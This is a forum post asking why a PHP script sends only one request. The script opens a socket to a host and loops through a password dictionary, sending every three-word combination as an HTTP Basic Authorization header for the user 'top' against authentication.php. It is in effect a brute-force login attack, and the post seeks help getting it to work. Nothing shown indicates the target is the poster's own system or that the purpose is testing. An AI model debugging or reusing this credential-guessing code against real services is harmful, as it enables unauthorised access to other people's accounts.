Hi,
I'm using fsockopen() function to establish connection with server .
After I have loop which generate passwords inside that loop I have fputs() to make request to the server and ‘echo’ for testing of my password combination.
Since I can see all password combination my loop is working OK, but fputs() it make only one request.
Can some one tell me why, please?
this my code
$fp = fsockopen ("$host", 19507, $errno, $errstr);
$path = "authentication.php";
$user = "top";
if (!$fp)
{
echo "$errstr ($errno)<br>\n";
}
else
{
for ($i = 0; $i<(sizeof($DICTIONARY)); $i++)
{
$DICTIONARY[$i];
for ($j = 0; $j<(sizeof($DICTIONARY)); $j++)
{
$DICTIONARY[$j];
for ($k = 0; $k<(sizeof($DICTIONARY)); $k++)
{
$pass = $DICTIONARY[$i].$DICTIONARY[$j].$DICTIONARY[$k];
$test = base64_encode("$user:$pass");
fputs ($fp, "GET /authentication.php/ HTTP/1.0\r\nHost: $host\r\nAuthorization: Basic $test\r\n\r\n");
echo fgets ($fp,128);
echo "test $pass";
}
}
}
}
fclose ($fp);
?>